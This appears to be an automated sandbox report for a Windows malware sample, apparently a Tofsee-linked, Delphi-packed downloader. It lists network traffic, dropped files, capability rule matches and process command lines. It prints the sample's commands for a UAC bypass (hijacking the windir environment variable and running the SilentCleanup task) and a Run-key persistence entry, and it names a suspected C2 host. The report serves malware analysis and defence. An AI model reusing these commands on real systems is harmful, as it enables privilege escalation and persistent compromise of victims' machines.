Category | Machine | Started | Completed |
---|---|---|---|
FILE | s1_win7_x6402 | Sept. 4, 2021, 1:53 p.m. | Sept. 4, 2021, 1:56 p.m. |
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reg.exe reg delete hkcu\Environment /v windir /f
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reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
1776 -
schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
2820
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reg.exe reg delete hkcu\Environment /v windir /f
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Name | Response | Post-Analysis Lookup |
---|---|---|
twistednerd.dvrlists.com | 62.102.148.152 | |
ya5qxq.sn.files.1drv.com |
CNAME
sn-files.fe.1drv.com
CNAME
l-0003.l-msedge.net
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13.107.42.12 |
onedrive.live.com |
CNAME
l-0004.l-msedge.net
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13.107.42.13 |
Suricata Alerts
Flow | SID | Signature | Category |
---|---|---|---|
TCP 192.168.56.102:49165 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.102:49164 -> 13.107.42.13:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.102:49166 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
Flow | Issuer | Subject | Fingerprint |
---|---|---|---|
TLSv1 192.168.56.102:49164 13.107.42.13:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01 | CN=onedrive.com | 50:2f:33:10:92:ac:27:7b:17:be:82:68:3b:e2:29:ad:97:41:b7:bb |
TLSv1 192.168.56.102:49165 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e |
TLSv1 192.168.56.102:49166 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e |
section | CODE |
section | DATA |
section | BSS |
packer | BobSoft Mini Delphi -> BoB / BobSoft |
request | GET https://onedrive.live.com/download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21145&authkey=AFt5mXo5_hIU9Wo |
request | GET https://ya5qxq.sn.files.1drv.com/y4mWV0lrv_tiHoBpZFLgeGeAoOLHwgJmNqdH0OgjUFuy2BNr8G1IO_HRyR6jrXDrImiFe2QUvT74VBUi5sedcd9fLF9dxoWww6_21cF9mI_hsgFoBYR5C-53tzBarzEgUjh_sHrNCdGK_piD2dAN0Pt76qJhizWP4egLLhy7FriuiAueVsovba7AN1mG-Ds_Hqv63TZr0t6kELXRIsqvIrriA/Zmtabitkattqctosiqoboivzoukwwhu?download&psid=1 |
request | GET https://ya5qxq.sn.files.1drv.com/y4mhkdES2FrzkTr6_ft2vmvKfb9bGMafvF6erpDGpYTyyTou4wOYM--o-pDpWFRoe7XtvHGmX-j_fZ9jW-sMy0xF9LNy6xYLxCqh457rSVvRZ9mXnrhAbWBC7JoY6cVQXsaxJXaqxeEx9ypdygh-0x4PHsyE4Rqwgt5FVSoogr_d7kT53WzOlK4QTYdvaXtyMutkLvh5570BfFK65a9VkcfOA/Zmtabitkattqctosiqoboivzoukwwhu?download&psid=1 |
file | C:\Users\Public\KDECO.bat |
file | C:\Users\Public\UKO.bat |
file | C:\Users\Public\Libraries\Zmtabit\Zmtabit.exe |
file | C:\Users\Public\Trast.bat |
file | C:\Users\Public\nest.bat |
cmdline | C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat |
cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
section | {u'size_of_data': u'0x00036000', u'virtual_address': u'0x00086000', u'entropy': 7.327482100356089, u'name': u'.rsrc', u'virtual_size': u'0x00036000'} | entropy | 7.32748210036 | description | A section with a high entropy has been found | |||||||||
entropy | 0.29568788501 | description | Overall entropy of this PE file is high |
description | Communication using DGA | rule | Network_DGA | ||||||
description | Communications use DNS | rule | Network_DNS | ||||||
description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
description | Create a windows service | rule | Create_Service | ||||||
description | Record Audio | rule | Sniff_Audio | ||||||
description | Escalate priviledges | rule | Escalate_priviledges | ||||||
description | Run a KeyLogger | rule | KeyLogger | ||||||
description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
description | Communications over HTTP | rule | Network_HTTP | ||||||
description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
description | Communications over FTP | rule | Network_FTP | ||||||
description | Take ScreenShot | rule | ScreenShot | ||||||
description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
description | Steal credential | rule | local_credential_Steal | ||||||
description | File Downloader | rule | Network_Downloader | ||||||
description | Communications over P2P network | rule | Network_P2P_Win | ||||||
description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
description | (no description) | rule | DebuggerHiding__Thread | ||||||
description | (no description) | rule | DebuggerHiding__Active | ||||||
description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
description | (no description) | rule | ThreadControl__Context | ||||||
description | (no description) | rule | SEH__vectored | ||||||
description | (no description) | rule | Check_Dlls | ||||||
description | Checks if being debugged | rule | anti_dbg | ||||||
description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
description | Bypass DEP | rule | disable_dep | ||||||
description | Affect hook table | rule | win_hook | ||||||
description | Communication using DGA | rule | Network_DGA | ||||||
description | Communications use DNS | rule | Network_DNS | ||||||
description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
description | Create a windows service | rule | Create_Service | ||||||
description | Record Audio | rule | Sniff_Audio | ||||||
description | Escalate priviledges | rule | Escalate_priviledges | ||||||
description | Run a KeyLogger | rule | KeyLogger | ||||||
description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
description | Communications over HTTP | rule | Network_HTTP | ||||||
description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
description | Communications over FTP | rule | Network_FTP | ||||||
description | Take ScreenShot | rule | ScreenShot | ||||||
description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
description | Steal credential | rule | local_credential_Steal | ||||||
description | File Downloader | rule | Network_Downloader | ||||||
description | Communications over P2P network | rule | Network_P2P_Win | ||||||
description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
description | (no description) | rule | DebuggerHiding__Thread |
cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
cmdline | reg delete hkcu\Environment /v windir /f |
cmdline | reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " |
buffer | Buffer with sha1: 1216e33d89cdcb279ce6729e16649aa0247cc847 |
reg_key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Zmtabit | reg_value | C:\Users\Public\Libraries\tibatmZ.url |